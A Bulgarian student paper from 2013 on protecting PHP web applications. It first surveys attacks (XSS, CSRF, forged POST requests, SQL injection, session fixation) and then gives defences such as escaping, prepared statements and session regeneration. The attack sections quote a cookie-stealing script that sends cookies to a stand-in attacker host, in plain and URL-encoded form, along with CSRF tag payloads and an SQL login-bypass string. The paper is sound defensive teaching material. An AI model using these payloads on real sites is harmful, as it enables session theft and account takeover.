1. Икономически университет - Варна
1
Реферат
по Безопасност и защита
на тема:
Защита при създаване на РНР-
приложения в интернет
Изготвил: Валентин Светославов Атанасов
V курс, гр. 59, ф.н. 10882, сп. Информатика
Проверили: доц. д-р Ст. Дражев
х.ас. В. Кръстева
гр. Варна
31.03.2013г.

2. Защита при създаване на РНР-приложения в интернет
2
1 Защита на уеб-приложения
Появата на интернет на белия свят промени същия този свят из основи. Макар и да не е
довел до промяна на териториално разпределние (поне не директно), интернета проникна
в ежедневния живот на човека и остана там. Според проведени изследвания, младите хора
са по-склонни да останат без телефон и телевизия, отколкото без компютър. А под
компютър те визират интернет. Профили в социални мрежи, поща, програми за
комуникация, пасивно/активно банкиране, онлайн игри – много хора вече просто не могат
да си представят живота без тези неща. Съответно засиления интерес към интернет води
до засилено разработване на приложения за същия. И разбира се в крайна сметка се
появяват и злонамерените потребители.
Проблемът е следния – докато при традиционните приложения, разработчикът трябва да
приеме, че потребителят извършва безсмислени действия и трябва свободата му да бъде
максимално ограничена, при уеб-приложенията трябва да се приеме, че навсякъде дебнат
злонамерени хора. Приложенията в интернет са прекрасни, защото са достъпни отвсякъде
и са застрашени, отново защото са достъпни отвсякъде. Може да бъде предложена
аналогия с автомобилите – когато имаш гараж, колата ти е вътре, трябва само да
внимаваш какво влиза в гаража. Ако обаче нямаш, резултатът е, че имаш дълготраен
материален актив, който си стои на улицата и всеки има достъп до него. И не трябва да се
пазиш само от хората, които искат да ти откраднат автомобила, ами и от хора, които от
чиста злоба накърняват целостта му. Така и за уеб-приложенията – има и хора, които
просто за да демонстрират умения експлоатират пробиви в сигурността ти, без да печелят
нищо, освен удовлетворение.
Поуката е следната – в интернет опасността дебне отвсякъде.

3. Защита при създаване на РНР-приложения в интернет
3
2 Видове атаки
След изясняване на евентуалния източника на атаки (абсолютно всички потребители на
интернет), е време да се разгледат различните типове атаки. Макар и този реферат да е
ориентиран към защита на PHP приложения, повечето атаки са стандартни за интернет
приложенията като цяло. Част от тях са възможни, благодарение на пренебрегване на
елементарни мерки за сигурност. Други, са следствие от добро разбиране на PHP, или
самата структура на интернет като цяло (протокола HTTP например). Така или иначе,
независимо колко сложна е една атака, тя е нежелана и води до нежелани проблеми. За да
разберем обаче как да се предпазим от тях, трябва да сме наясно със същността им. Не е
безсмислена древната сентенция „Опознай врага си“.
2.1 Семантични атаки
Великолепен пример за пренебрегнати елементарни правила за защита. Всеки, който поне
малко се интересува от интернет, би могъл да осъществи такава. Концепцията й е,
възползване на начина на предаване на данни чрез GET метода. Той предава данните в
самото url. Или с други думи, то изглежда по следния начин:
Фигура 2-1 GET метод
Съществена в случая е последната част. Имаме името на страницата (“index.php”),
последвано от въпросителна и след това са поставени предадените данни. В случая
предаваме променлива “page” със стойност “1200”. Самият скрипт достъпва данните чрез
суперглобалния масив $_GET. Конкретно тази променлива ще бъде достъпена по следния
начин: $_GET[‘page’]. Това е изключително удобен начин за предаване на данни, освен по
традиционния начин, чрез формуляр, данни могат да бъдат предадени и чрез записването
им в самия линк. За съжаление това удобство означава, че всеки, който си поиска, също
така може да промени линка. Затова този метод се използва само за предаване на
несъществени данни. За да стане по-ясно, нека бъде разгледан следният сценарий:
Програмист разработва онлайн приложение, изискващо автентикация, която се извършва
чрез потребителско име и парола. Разбира се, винаги съществува възможността

4. Защита при създаване на РНР-приложения в интернет
4
потребителят да забрави паролата си и трябва да има разработен сценарий за този случай.
Няма как да се знае кой е потребителят, тъй като той не си помни паролата и съответно
няма как да се знае поначало чия парола трябва да бъде изпратена. Програмистът решава
това да бъде реализирано, като потребителят въведе името на акаунта си, както и e-mail-а
си. В последствие, данните да бъдат изпратени на обработващия скрипт чрез GET метода.
Фигура 2-1 Сценарий за забравена парола
Това не е истински линк, тъй като специалните символи не са обработени, но това е
направено за по-голяма яснота. Макат и този пример да изглежда като добро решение,
това не е така. Всеки, който погледне адресната лента, може да реши да смени
потребителското име и все пак да остави своя e-mail адрес. Така ще получи много лесно
чужда парола.
Макар и този пример да изисква голяма наивност от разработчикът, той е абсолютно
реалистичен. Това важи с голяма сила за начинаещите такива, които са свикнали да
използват GET методът за всичко. Дори и по-напреднали такива понякога недообмислят
възможните варианти и го използват за данни, за които не би следвало да бъде използван.
Например браузър базирани игри в никакъв случай не би трябвало да предават количество
пари по този метод, поради същите причини. За да бъдат отбегнати такива атаки, най-
простото решение е използването на POST методът, чиито данни се предават в HTTP
заявката. Така горният линк ще изглежда така:
Фигура 2-2
В този случай потребителят вече не може да променя данните, само чрез промяна на
текста в адресната лента. За съжаление, това не значи че данните са абсолютно защитени,
но все пак е добра начална стъпка.

5. Защита при създаване на РНР-приложения в интернет
5
2.2 XSS атаки1
Едни от най-често срещаните и добре познатите. Получават се при предоверяване на
данните от външни източници. Изискват познания по JavaScript от страна на нападателя.
Концепцията е следната – на жертвата се предава JavaScript код, който се обработва на
неговия компютър и изпраща важни данни на злонамерения създател на този код. Има
няколко основни начина, по които да бъде осъществена XSS атака.
2.2.1 Постоянна атака
За съжаление способна да причини най-много щети. Класически пример за такава атака е
следният:
Разработчик създава форум или блог, в който потребителите споделят мнения. На тяхно
разположение има кутия, за въвеждане на текст, който веднага след това бива публикуван
на страницата. Проблемът е следния: ако данните не бъдат санитизирани, може да бъде
публикувано всичко. Макар и в някои случаи това поведение да бъде желано
(потребителят ще може да публикува картинки, линкове и други елементи, изискващи
HTML тагове), може да бъде публикуван и JavaScript. Например:
<SCRIPT>
document.location= 'http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Тъй като този код ще бъде кодиран в страницата, всеки който я посети ще изпрати
бисквитките си на злонамерения скрипт, който може да прави с тях каквото си поиска. Тук
дори по-добре запознатите потребители няма да могат да се предпазят, защото няма да
видят заплахата, преди да са влезли на страницата. Затова е задължително данните да
бъдат филтрирани, преди да бъдат показвани.
2.2.2 Непостоянна атака
Тук жертви са отделните потребители. Концепцията е, да бъде кодиран JavaScript в URL-а
на страницата. Така всеки потребител, който натисне гореспоменатия линк, ще задейства
1
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting (20.03.2013)

6. Защита при създаване на РНР-приложения в интернет
6
скрипт на собственото копие на страницата си и отново може да сподели нежелателно
данните си. Един JavaScript би изглеждал подозрително в самият линк:
http://portal.example/index.php?sessionid=12312312&
username=<script>document.location='http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie</script>
затова ще бъде кодиран:
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
Така средностатистическият потребител не би заподозрял нищо, а в крайна сметка ще се
окаже жертва на атака.
2.3 CSRF – фалшификати на заявки2
Много трудни за улавяне, тъй като биват реализирани чрез чуждо IP. Обикновено се
използва това, че даден сайт предава данни чрез GET методът. Така в друг сайт е вградена
заявка към първия и всеки, който посети втория сайт изпраща заявката. За да бъде по-
ясно:
<img src="http://sait.com/buy.php?quantity=200">
Принципно това е img таг, съдържащ линк към картина. Но поради начина, по който бива
обработвана страницата, всъщност няма проверка дали самият линк сочи към картина,
линка просто бива обработван, или в случая – картинка няма да има, но ще се осъществи
поръчка към някакъв сайт. Поръчката ще бъде осъществена от потребителят, който просто
е отворил втората страница, така че няма да бъде ясно за нападнатият сайт, кой всъщност
осъществява атаките. Този тип атаки могат да бъдат използвани за публикуване на
съдържание на дадена страница, за записване за новинарник, за купуване, за комбиниране
2
http://www.cgisecurity.com/csrf-faq.html (20.03.2013)

7. Защита при създаване на РНР-приложения в интернет
7
с XSS атаки и др. Освен чрез тага img, такива атаки могат да бъдат публикувани чрез
редица други средства:
<script src="http://sait.com/buy.php?quantity=200">
Принципно използван за свързване с определен код на JavaScript, тук тагът отново по
начин, идентичен с тага img изпраща заявка.
<iframe src="http://sait.com/buy.php?quantity=200">
Идентично с първоначалната технология за реализация на AJAX3
използва се фрейм, с
широчина и височина невидими за потребителя, но все пак се изпраща заявка.
<script>
var foo = new Image();
foo.src = "http://host/?command";
</script>
Вече чрез JavaScript, създава се обект от тип Image, който изпраща заявката.
<script>
var post_data = 'name=value';
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST", 'http://url/path/file.ext', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>
Масово използвания в момента начин за осъществяване на AJAX, чрез използване на
обекта XMLHttpRequest.
3
Никълъс Засак, Джеръми Мак Пийк, Джо Фосет – Професионално програмиране с Ajax, АлексСофт 2006.

8. Защита при създаване на РНР-приложения в интернет
8
2.4 Лъжливи HTTP заявки
По-рано вече беше споменато, че POST методът също не е абсолютно предпазен от
вмешателство. Именно лъжливите HTTP заявки могат да бъдат използвани за промяна на
данните, изпратени с POST методът. От атакуващия се изискват базови познания за
структурата на една HTTP заявка, което не е особен проблем, имайки предвид свободния
достъп до структурата на тези заявки. За да бъде реализирана, може да бъде използван
telnet, който е достъпен на всяка операционна система (макар и неинсталиран по
подразбиране на Windows Vista, 7 и 8, той е вграден в системата и може да бъде
инсталиран с няколко клика, без нуждата от инсталационен диск), PHP, Perl, или който и
да е CGI език. Цялата идея е, да бъде създаден HTTP header, който да бъде изпратен. Или
на PHP това би изглеждално така:
<?php
$password='probiv';
$content='pass='.$password;
$contlength=strlen($content);
$http_request='';
$http_response='';
$http_request .= "POST /pass.php HTTP/1.1rn";
$http_request .= "HOST: localhostrn";
$http_request .= "Content-Type: application/x-www-form-
urlencodedrn";
$http_request .= "Content-Length: $contlengthrn";
$http_request .= "Connection: closern";
$http_request .= "rn";
$http_request .= $content;
if($handle=fsockopen('localhost', 80))
{
fputs($handle,$http_request);
while(!feof($handle))
{
$http_response .= fgets($handle, 1024);
}
fclose($handle);
echo str_replace(" ","<br />",$http_response);

9. Защита при създаване на РНР-приложения в интернет
9
}
?>
Така предаваме каквито си искаме данни чрез POST метода. Например следния скрипт,
съвсем доверчиво изписва получените данни, може би очаквайки, че невалидна парола не
би могла да премине валидацията в скрипта, от който е изпратена:
<?php
if(isset($_POST['pass']))
{
echo $_POST['pass'];
}
else echo "fail";
?>
Всеки разработчик, който е жертва на наивния мит, че POST методът е безопасен и че не
може да получи данни, различни от това, което е очаквал (например е имал радио бутони,
принципно на потребителят е предоставен ограничаващ избор, но чрез създаване на заявка
по този начин нищо не е сигурно), ще бъде неприятно изненадан. Защото комбинацията от
предните два скрипта е следната:
Фигура 2-3 Лъжлива HTTP заявка

10. Защита при създаване на РНР-приложения в интернет
10
Същественият ред е последния. Вижда се, че са предадени данните, които сме искали.
Поуката е, че всички входящи данни трябва да бъдат филтрирани.
2.5 Атаки на базата данни
Почти всяко PHP приложение използва бази от данни. Всеки сайт с повече
функционалност разчита на тях и съответно те са апетитна цел за зложелателите. Пароли,
банкови сметки и всякаква информация е желана цел. Затова и са измислени разнообразни
начини за атака на базите данни. Най-често срещаните са два.
2.5.1 Файлът db.inc
Стандартна практика е, данните за връзка с базата данни (сървър, потребителско име,
парола и самото име на базата данни) да са в отделен файл, който традиционно се казва
db.inc (или нещо друго, в случая ключовият момент е разширението .inc). Проблемът
произлиза от това, че в зависимост от настройките на сървъра е възможно съдържанието
на този файл да бъде визуализирано. Потребителят ще въведе в адресната лента нещо от
този вид:
Фигура 2-4 db.inc
И на негово разположение ще е цялата информация от този файл, което значи, че ще може
свободно да достъпва базата от данни. Това ще доведе до катастрофален проблем.
2.5.2 SQL инжектиране4
Другият много често срещан проблем е SQL инжектирането. Изисква от атакуващия
известни познания по SQL. Пробивът е осъществен, когато входящите данни не са
филтрирани правилно. Например заявката:
SELECT * FROM Users WHERE username = '
Ако след това следва конкатенация с директно въведеното от потребителя, той може да си
въведе нещо от този вид:
4
http://www.websec.ca/kb/sql_injection (20.03.2013)

11. Защита при създаване на РНР-приложения в интернет
11
' OR 1=1 -- -' AND password = ''; #
Така се логва успешно и може да прави каквото си поиска с избрания акаунт. Възможно е
също така да се изпълни и друга заявка, с друга цел. Често има и комбиниране на
инжекции с други типове атаки. Ключовото е, че в никакъв случай не бива да бъдат
допуснати. Пораженията, които могат да бъдат посяти са катастрофални.
2.6 Фиксиране на сесии
Почти всяко приложение използва сесии. Същността им е следната – във временната
папка на сървъра се създава файл, чието име е сесията на потребителя. На неговия
компютър се създава биксвитка (cookie), в която се пази номерът на сесията. При успешен
логин се създават променливи, които индикират успешния логин и всякакви други данни,
нужни за функционирането на приложението. Номерата на сесията на компютъра на
потребителя и на сървъра са еднакви, като така се идентифицира кой потребител, с кой
сесиен файл трябва да бъде свързван. Номерът на сесията е произволно генериран низ от
символи (в случай, че се използват функциите за създаване на сесия без аргументи). Така
шанса злонамерен човек да успее да налучка низа на сесията, преди тя да е приключила е
практически нулев. Което не значи, че сесийността е абсолютно сигурна. Използвайки
GET метода за предаване на данни, ако злонамереният потребител успее да примами
жертвата си да кликне на неговия линк, той може да открадне сесията на нищо
неподозиращия потребител и да се възползва от акаунта му. Вредния линк ще изглежда по
следния начин:
Фигура 2-5 Фиксиране на сесия
При кликане на този линк, ще бъде създадена сесията 1234. На сървъра, файлът ще
изглежда така:

12. Защита при създаване на РНР-приложения в интернет
12
Фигура 2-6 Сесия на сървъра
Влизайки в същия линк, злонамерения потребител ще използва същата сесия и съответно
ще има достъп до всички, което е направила жертвата.
2.7 Проблеми със споделен хостинг
Много фирми и частни потребители нямат ресурсите за поддръжка на собствен сървър и
затова използват споделен хостинг. Споделения хостинг води до редица проблеми, чийто
общ корен е общата файлова система. От атакуващия се изискват познания по
операционната система на сървъра (в общия случай Unix-базирана), за да се добере до
файловете на разработчика. Тук защитата се осъществява много трудно, като е добре и
администраторът на сървъра да го поддържа добре. А за произлизащите проблеми – ще е
възможно да се види кода на разработчика, евентуално да се осигури достъп до базата му
от данни и т.н.

13. Защита при създаване на РНР-приложения в интернет
13
3 Добри общи практики
Съществуват практики, които е добре да се прилагат при изграждането на всяко
приложение, независимо от типа на очакваната атака. Добре е да се прилагат дори в
случаи, в които разработчикът е убеден, че няма как да бъде атакуван. В много случаи
може просто:
1. Да не е наясно, че има начин да бъде атакуван;
2. Начинът все още да не е измислен, но бъдещето е несигурно.
Във всеки случай, допълнителните мерки за сигурност не са излишни. Един от основните
принципи, при изграждането на добра защита, препоръчван от много разработчици (Васил
Тошков5
, Крис Шефлер6
), както и от експерти във всякакви други области (изграждане на
ядрени реактори7
например) е защитата в дълбочина. Допълнителни защити, резервни
планове водят до по-добра сигурност.
3.1 Филтриране на входящата информация
Част от описаните по-рано атаки са дело на злонамерени потребители, които изпращат
информация на приложението. Именно като подготовка за такива атаки, входящата
информация трябва да бъде филтрирана. За съжаление, тази задача няма еднозначно
решение, няма една функция, която може да свърши това вместо разработчика. Проблема
се състои в това, че не се знае каква като естество трябва да е входящата информация, а не
бихме искали да филтрираме нещо, което се очаква. Затова просто се налага да
подхождаме различно към всяка входяща информация.
3.1.1 “Изчистен масив“
За да можем ясно да отделим филтрираната от нефилтрираната информация, възможно
решение е създаването на масив за изчистени данни8
. Съответно в цялото приложение да
боравим само с този масив, приемайки, че всички други данни са “замърсени“. Това
5
http://toshkov.com/mysql-injection-xss-php-prevent/ (23.03.2013)
6
Крис Шефлер, Основи на PHP сигурността, София 2007
7
http://www.capital.bg/biznes/tehnologii_i_nauka/2006/05/26/263893_reaktori_i_sigurnost/ (23.03.2013)
8
Крис Шефлер, Основи на PHP сигурността, София 2007 стр.11

14. Защита при създаване на РНР-приложения в интернет
14
минимално доверяване на потребителя е добра практика, която може да спести много
ядове.
Както вече бе показано, никой метод за предаване на данни не е абсолютно сигурен, така
че не можем да приеме и данните от POST методът за чисти. Например, ако имаме радио
бутони, разработчикът може да очаква, че няма как да получи друга стойност. Но вече
беше демонстрирано, че чрез промяна на HTTP хедъра, всякакви данни могат да бъдат
предадени. Затова при получаване на данни от радио бутони, добра практика е проверката
им със switch. Така ако очакваме да получим стойности “men” или “woman”, проверката
би изглеждала така:
<?php
switch($_POST['sex'])
{
case 'men': $clean['sex']='men';break;
case 'woman': $clean['sex']='woman';break;
default : echo "Атака!";break;
}
?>
Разбира се, определено не цялата входяща информация идва от радио бутони и в такъв
случай switch не може да бъде използван. Въпреки това, знаейки естеството на очакваната
информация, могат да бъдат използвани вградените функции в PHP. Например ако се
очаква само текст – ctype_alpha()9
, за само цифри – ctype_digit()10
, за комбинация от двете
– ctype_alnum()11
и т.н. Разработчикът може и сам да напише подобни функции, но е
много по-вероятно той да допусне грешка, отколкото проверената и тествана от много
други хора функция.
Продължавайки разглеждането на проблема, не винаги има функция точно за това, което
ни трябва. В такъв случай вече наистина разработчикът трябва да се заеме с тази задача. И
най-подходящото средство за това са регулярните изрази12
. Макар и PHP да не е езикът, с
9
http://www.php.net/manual/bg/function.ctype-alpha.php (23.03.2013)
10
http://www.php.net/manual/bg/function.ctype-digit.php (23.03.2013)
11
http://www.php.net/manual/bg/function.ctype-alnum.php (23.03.2013)
12
http://php.net/manual/en/function.preg-match.php (24.03.2013)

15. Защита при създаване на РНР-приложения в интернет
15
най-добри регулярни изрази, в общия случай възможностите са абсолютно достатъчни. С
регулярните изрази може да бъде постигната много голяма конкретност, по отношение на
входящата информация. Може даден стринг да бъде проверен чрез шаблон и така да бъде
подсигурена изчистеността му.
3.2 Декодиране на изходящата информация
След филтриране на входящата информация, следва противоположната мярка –
декодирането на изходящата информация. За предотвратяване на XSS атаки например,
трябва да бъде проверявана информацията, която бива генерирана като HTML, както и
информацията, която бива записвана в базите от данни, което съответно е мярка против
SQL инжекциите. Тук поне има вградени функции, извършващи това вместо нас.
Първата от тях е htmlspecialchars()13
. Тя преобразува символите, които могат да бъдат
зловреден код, в техния html еквивалент. Например:
 '&' се преобразува в '&amp;
 “ се преобразува в '&quot;
 ‘ се преобразува в '&#039;
 '<' се преобразува в '&lt;'
 '>' се преобразува в '&gt.
По-ограничителния й вариант е htlmentities()14
, която преобразува и други символи. И при
двете, като допълнителни аргументи (освен низа за преобразуване) могат да бъдат
подадени настройки за поведение, спрямо някои символи.
За декодиране на изходящата информация към бази от данни има различни функции. Тук
ще бъдат разгледани основните такива за MySql. В миналото, а масово и в настоящето,
основно използваната такава е mysql_real_escape_string()15
. Както може да се очаква,
извършва подобно на гореспоменатите две функции, подмяна на евевнтуално зловредните
символи в подадения низ. Освен в много редни случаи, трябва винаги да бъде използвана
преди изпращане на заявка към базите данни.
13
http://www.php.net/manual/en/function.htmlspecialchars.php (24.03.2013)
14
http://www.php.net/manual/en/function.htmlentities.php (24.03.2013)
15
http://www.php.net/manual/en/function.mysql-real-escape-string.php (24.03.2013)

16. Защита при създаване на РНР-приложения в интернет
16
Използването на тази функция, както и всички други от mysql API не се препоръчва. От
PHP 5.5.0, това API ще бъде потиснато16
, за сметка на обновения вариант mysqli (MySql
Improved). Новото API е подобрено и има обектна поддръжка. Така че, поради
двойнствената същност на това API, гореупоменатата функция има два варианта.
Процедурно базираният - mysqli_real_escape_string и обектният -
mysqli::real_escape_string17
.
3.3 Други общи съвети
Освен гореизброените добри практики, трябва да се обърне внимание и на следните неща:
 Изключена register_globals();
 Възможно най-малко привилегии;
 SSL
3.3.1 Изключена register_globals()18
Изключването на тази директива се препоръчва в почти всяко ръководство по PHP. Макар
и да носи някои благотворни възможности за разработчика, носи повече такива за
злонамерения потребител. Почти всяко нещо, за което може да бъде използвано
включването на тази директива, може да бъде постигнато по заобиколен път, който обаче
би спестил много проблеми в бъдеще.
3.3.2 Възможно най-малко привилегии
Стандартен съвет не само за PHP разработчиците, а за всички разработчици на
приложения, системни администратори, менижъри и т.н. На потребителите трябва да
бъдат давани възможно най-малко привилегии, нужни за постигане на това, което
приложението им осигурява. Така при евентуално пропадане на други защити,
злонамереният потребител да не може да достъпи нищо, което не му влиза в работата.
Например за работа с бази от данни, ако потребителят трябва само да може да извлича
информация, на акаунта за достъп до базите данни трябва да се даде само права за
SELECT заявки и нищо друго. Ако трябва само да добавя информация – права само за
16
http://www.php.net/manual/en/intro.mysql.php (24.03.2013)
17
http://www.php.net/manual/en/mysqli.real-escape-string.php (24.03.2013)
18
http://php.net/manual/en/security.globals.php (25.03.2013)

17. Защита при създаване на РНР-приложения в интернет
17
INSERT INTO. Триене, обновяване и т.н. са на същия принцип. Колкото по-малко права,
толкова по-малко възможни проблеми.
3.3.3 SSL
Използванрето на SSL може да струва допълнително пари, но в много случаи би спестило
губенето на такива. Ако приложението борави с ценни данни – банкови сметки, важни
лични данни и т.н., то определено използването му е задължително. Освен по-голямата
сигурност, по-добре запознатите потребители като видят иконката за SSL ще бъдат по-
доверчиви към приложението и ще го вземат по-насериозно.

18. Защита при създаване на РНР-приложения в интернет
18
4 Конкретни практики
Дотук бяха разгледани стандартни общи практики, които е добре да бъдат прилагани
винаги. Сега ще бъдат разгледани мерки против всяка конкретна атака.
4.1 Защита от семантични атаки
Тъй като сами по себе си те са елементарни пропуски в защитата, биват преодолявани чрез
спазването на стандартни практики.
Първо – ако се борави с важна информация – в никакъв случай не се ползва GET методът,
задължително POST. Разликата между това:
Фигура 4-1 GET
и това:
Фигура 4-2 POST
е значителна, особено в очите на начинаещи вредители.
Друга стандартна практика е, макар че е по-удобен в някои отношения, супер глобалният
масив $_REQUEST никога да не бъде използван. Това е с цел предотвратяване на
изпращане чрез GET метод параметри, предвидени за получаване от POST метод. Ако
бъде използван, се губи почти целия смисъл от използването на POST методът.
Спазвайки тези две стандартни мерки за сигурност, разработчикът бива предпазен от
излагането на тези елементарни за осъществяване атаки.
4.2 Защита на бази данни
Както беше казано, две са най-слабите места в базите данни и това са файлът db.inc и
заявките към базите от данни. За съжаление, няма как използването на тези неща да бъде
заобиколено, в противен случай се обезмисля съществуването на базите данни.

19. Защита при създаване на РНР-приложения в интернет
19
4.2.1 db.inc
Има няколко начина да бъде заобиколена потенциалната уязвимост на този файл. Както
беше споменато, належащо е съществуването му, за да може да бъде осъществена връзка
към базата данни, без да се налага да обвързваме целия код с конкретна база и потребител
и по този начин силно да намаляваме преизползваемостта на написания код. И все пак ако
файлът бъде именуван по друг начин, ще бъде объркан потенциалният нападател. Макар и
да е добре да бъдат следвани стандартни конвенции при именуването на променливи и
файлове, в тази случай чрез неспазването им, може да добавим допълнително защита.
Друга добра практика е, файлът да не бъде пазен в публичната директория. Макар това да
означава, че ще се налага да бъде описван пътя до файла и така да се намали удобството
от пазенето му в същата директория, допълнителните плюсове ще са незаменими. Файлът
вече няма да бъде достъпен за външни потребители и така данните са на сигурно място в
сървъра.
Добре е също така Apache да бъде настроен да не показва съдържанието на .inc
файловете.
Като финална мярка – не е задължително файлът да бъде именуван с разширение .inc. Ако
му бъде сложено разширение .php, ще върши същата работа, но при опит за достъп, ще
бъде интерпретиран и злонамереният потребител няма да види нищо на екрана си.
А най-добър вариант – спазване на всички гореизброени мерки заедно. Няма да утежнят
изпълнението на скрипта, а едни от най-важните данни на приложението ще бъдат
защитени от външно посегателство.
4.2.2 SQL инжектиране
Основната мярка при този тип атаки вече беше упомената – използване на функциите от
API-то за връзка с базата данни за декодиране на данни.
Друга важна мярка е използване на хеширане при използване на парола на потребител.
md5() е една от най-използваните функции за хеширано, но за съжаление и тя има своите
слабости. Това не означава, че не трябва да се използва, но като допълнителна предпазна

20. Защита при създаване на РНР-приложения в интернет
20
мярка може разработчикът да добави свой токън, така увеличавайки защитата при
хеширането.
При разработването на приложението, често се използва mysqli_error. Тази функция е
изключително полезна, показва естеството на възникналата грешка. Но в никакъв случай
не бива да бъде използвана когато приложението вече е пуснато за масова употреба.
Някои хитри зложелатели нарочно се опитват да генерират грешка, за да могат да видят
подробното описани и да разберат структурата на базата данни, което им позволява да
подготвят по-добре инжекциите си. При пускането на приложение, не трябва да има
такива функции.
Друга възможна мярка за защита от инжекции е използване на prepared заявки.
Същността им е, че предварително се указва шаблона на заявката, а в последствие бива
обвързана с конкретни данни. Пример19
:
if (!($stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)"))) {
echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}
$id = 1;
if (!$stmt->bind_param("i", $id)) {
echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt-
>error;
}
if (!$stmt->execute()) {
echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}
Многократното използване на такава заявка (с промяна само на параметрите) увеличава
скоростта на изпълнението им, но освен бързодействие, те имат и друго благотворно
влияние, а именно – санитизират данните в заявката. Или с други думи, самият им
механизъм е естествена защита против SQL инжектиране.
Отново най-добър вариант за защита от инжекции би било комбинирането на
гореизборените методи.
19
http://php.net/manual/en/mysqli.quickstart.prepared-statements.php (26.03.2013)

21. Защита при създаване на РНР-приложения в интернет
21
4.3 Защита при споделен хостинг
Тук за съжаление има малко възможности, ако хостинг провайдера не е изградил
механизми за защита. Очевидно предпазване от такива атаки е ползването на собствен
сървър, но определено не всеки има така възможност, а често и целта не е толкова голяма,
че да си струва използването на собствен сървър – те са скъпи и изискват постоянна
поддръжка. Все пак има няколко възможни предпазни мярки, в случай на споделен
хостинг.
Важните данни – например файлът за връзка с базата данни, да се намира в директория с
ограничени права. Правата се ограничават различно, в зависимост от операционната
система (Linux, Windows и т.н.), но идеята е да може само конкретният потребител да има
достъп до тези файлове.
Друг проблем със споделения хостинг е, че зложелателят може да достъпи сесийните
данни на приложението. Мярка против това е, те да бъдат пазени в база данни, която
попринцип е по-трудна за достъпване.
Идеална защита против атаките от други потребители на същият хостинг провайдер няма,
но както беше упоменато по-рано, често това е риск, който се налага да бъде поет.
4.4 Защита при сесии
Същността на фиксирането на сесии вече беше разяснена по-рано. Предпазването от
такива атаки е неприятно и изисква допълнителни ресурси.
Често срещана мярка е подновяване id-то на сесията всеки път. Това изисква
допълнително време за обработка, но така зложелателят няма да има id-то на жертвата и
няма да може да достъпи сесията й. Това отново не е сто процентова предпазна мярка и е
хубаво да бъде комбинирана с други такива.
Нов слой на защита е проверката на header-a. Например данните за браузъра -
HTTP_USER_AGENT, така ще се проверява дали потребителят влиза от един и същи
браузър в тази си сесия. Ако внезапно премине от IE на Chrome, е ясно, че най-вероятно
има проблем и сесията трябва да бъде прекъсната. Факт е, че хедъра може да бъде
променен, но за да успее, зложелателят трябва да има много информация за жертвата.

22. Защита при създаване на РНР-приложения в интернет
22
Могат да бъдат добавяни още много проверки за идентификация, други части от http
хедъра, токени за проверка, но всичко това ще забавя процеса на обработка и евентуално
ще затруднява потребителя. Налага се разработчикът да прецени каква доза допълнителни
проверки трябва да сложи и дали си струва това.

23. Защита при създаване на РНР-приложения в интернет
23
5 Извод
Основният извод от този реферат е, че абсолютна сигурност няма. Средствата за атаки се
развиват, зложелателите всеки ден измислят нови начини да заобиколят сигурността,
разработчиците на приложения измислят нови начини да попречат на заобикалянето и
тази игра на мишка и котка няма край. Затова разработчикът трябва винаги да е в крак с
времето и новостите и да следи новините в своята сфера. Достъпността специално на PHP
е неговата благословия, но и неговото проклятие. Зложелателите лесно могат да
преглеждат изходен код и да се подготвят добре да атаките си.
И все пак несъществуването на перфектна защита не трябва да отчайва разработчиците, а
да ги стимулира да бъдат креативни, в подготовката на защитата си.

24. Защита при създаване на РНР-приложения в интернет
24
Използвана литература
1. Крис Шефлер, Основи на PHP сигурността, София 2007
2. Никълъс Засак, Джеръми Мак Пийк, Джо Фосет – Професионално програмиране с
Ajax, АлексСофт 2006
3. http://www.capital.bg/biznes/tehnologii_i_nauka/2006/05/26/263893_reaktori_i_sigurnos
t/
4. http://www.php.net/manual/bg/
5. http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
6. http://toshkov.com/mysql-injection-xss-php-prevent/
7. http://www.cgisecurity.com/csrf-faq.html
8. http://php.net/manual/en/
9. http://www.websec.ca/kb/sql_injection)

25. Защита при създаване на РНР-приложения в интернет
25
Съдържание
1 Защита на уеб-приложения.................................................................................................. 2
2 Видове атаки.......................................................................................................................... 3
2.1 Семантични атаки .......................................................................................................... 3
2.2 XSS атаки........................................................................................................................ 5
2.2.1 Постоянна атака ...................................................................................................... 5
2.2.2 Непостоянна атака .................................................................................................. 5
2.3 CSRF – фалшификати на заявки................................................................................... 6
2.4 Лъжливи HTTP заявки................................................................................................... 8
2.5 Атаки на базата данни.................................................................................................. 10
2.5.1 Файлът db.inc......................................................................................................... 10
2.5.2 SQL инжектиране.................................................................................................. 10
2.6 Фиксиране на сесии ..................................................................................................... 11
2.7 Проблеми със споделен хостинг................................................................................. 12
3 Добри общи практики......................................................................................................... 13
3.1 Филтриране на входящата информация..................................................................... 13
3.1.1 “Изчистен масив“.................................................................................................. 13
3.2 Декодиране на изходящата информация ................................................................... 15
3.3 Други общи съвети....................................................................................................... 16
3.3.1 Изключена register_globals() ................................................................................ 16
3.3.2 Възможно най-малко привилегии....................................................................... 16
3.3.3 SSL.......................................................................................................................... 17
4 Конкретни практики ........................................................................................................... 18

26. Защита при създаване на РНР-приложения в интернет
26
4.1 Защита от семантични атаки....................................................................................... 18
4.2 Защита на бази данни................................................................................................... 18
4.2.1 db.inc....................................................................................................................... 19
4.2.2 SQL инжектиране.................................................................................................. 19
4.3 Защита при споделен хостинг..................................................................................... 21
4.4 Защита при сесии ......................................................................................................... 21
5 Извод.................................................................................................................................... 23
Използвана литература............................................................................................................... 24
Съдържание................................................................................................................................. 25